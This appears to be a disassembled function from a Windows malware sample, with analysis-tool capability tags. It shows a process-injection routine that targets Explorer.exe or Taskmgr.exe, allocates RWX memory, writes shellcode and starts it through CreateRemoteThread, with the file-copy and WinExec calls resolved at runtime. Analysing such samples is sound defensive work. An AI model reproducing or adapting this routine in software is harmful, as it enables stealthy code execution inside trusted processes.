Function at 0x402bb5
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x974
push ebx
push esi
push edi
lea eax, [ebp - 0x44]
push str.Explorer.exe
push eax
call fcn.004096ec
lea eax, [ebp - 0x26]
push str.Taskmgr.exe
push eax
call fcn.004096ec
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
mov dword [ebp - 4], 1
xor edi, edi
inc dword [ebp - 4]
push 2
mov eax, dword [ebp - 4]
pop ecx
cdq
idiv ecx
imul edx, edx, 0x1e
lea eax, [ebp + edx - 0x44]
push eax
call fcn.00402aca
cmp eax, 0xffffffff
pop ecx
je 0x402e08
cmp eax, edi
jne 0x402c1f
push 0x3e8
call esi
jmp 0x402bef
push eax
push edi
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
mov dword [ebp - 8], ebx
je 0x402c16
push 0x40
mov esi, 0x2000
push 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x402c54
push ebx
jmp 0x402e02
push edi
push esi
push 0x402f6c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402c4e
push 0x930
lea eax, [ebp - 0x974]
push edi
push eax
call fcn.00408800
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x958], eax
lea eax, [ebp - 0xbc]
push str.i_am_in_remote_process_n
push eax
call fcn.004096ec
lea eax, [ebp - 0x170]
push str.CopyFile_Error_n
push eax
call fcn.004096ec
lea eax, [ebp - 0x134]
push str.FindClose_Error_n
push eax
call fcn.004096ec
lea eax, [ebp - 0x1ac]
push str.FindFirstFile_Error_n
push eax
call fcn.004096ec
lea eax, [ebp - 0x1e8]
push str.OpenProcess_Error_n
push eax
call fcn.004096ec
lea eax, [ebp - 0xf8]
push str.WinExec_Error_n
push eax
call fcn.004096ec
lea eax, [ebp - 0x80]
push str.i_am_out_of_remote_process_n
push eax
call fcn.004096ec
push dword [ebp + 8]
lea eax, [ebp - 0x94c]
push eax
call fcn.004096ec
add esp, 0x40
lea eax, [ebp - 0x744]
push dword [ebp + 0xc]
push eax
call fcn.004096ec
pop ecx
pop ecx
push edi
push edi
push dword [ebp + 8]
call fcn.00409791
pop ecx
push eax
lea eax, [ebp - 0x53c]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OutputDebugStringW
push ebx
call esi
push str.OpenProcess
push ebx
mov dword [ebp - 0x974], eax
call esi
push str.WaitForSingleObject
push ebx
mov dword [ebp - 0x970], eax
call esi
push str.FindFirstFileW
push ebx
mov dword [ebp - 0x96c], eax
call esi
mov dword [ebp - 0x968], eax
push str.CopyFileW
push ebx
call esi
push str.FindClose
push ebx
mov dword [ebp - 0x964], eax
call esi
push str.WinExec
push ebx
mov dword [ebp - 0x960], eax
call esi
push 4
mov esi, 0x1260
push 0x1000
push esi
push edi
mov dword [ebp - 0x95c], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
cmp ebx, edi
jne 0x402dd6
push dword [ebp - 8]
jmp 0x402e02
push edi
lea eax, [ebp - 0x974]
push esi
mov esi, dword [ebp - 8]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402e01
push edi
push edi
push ebx
push dword [ebp - 4]
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, edi
jne 0x402e0a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret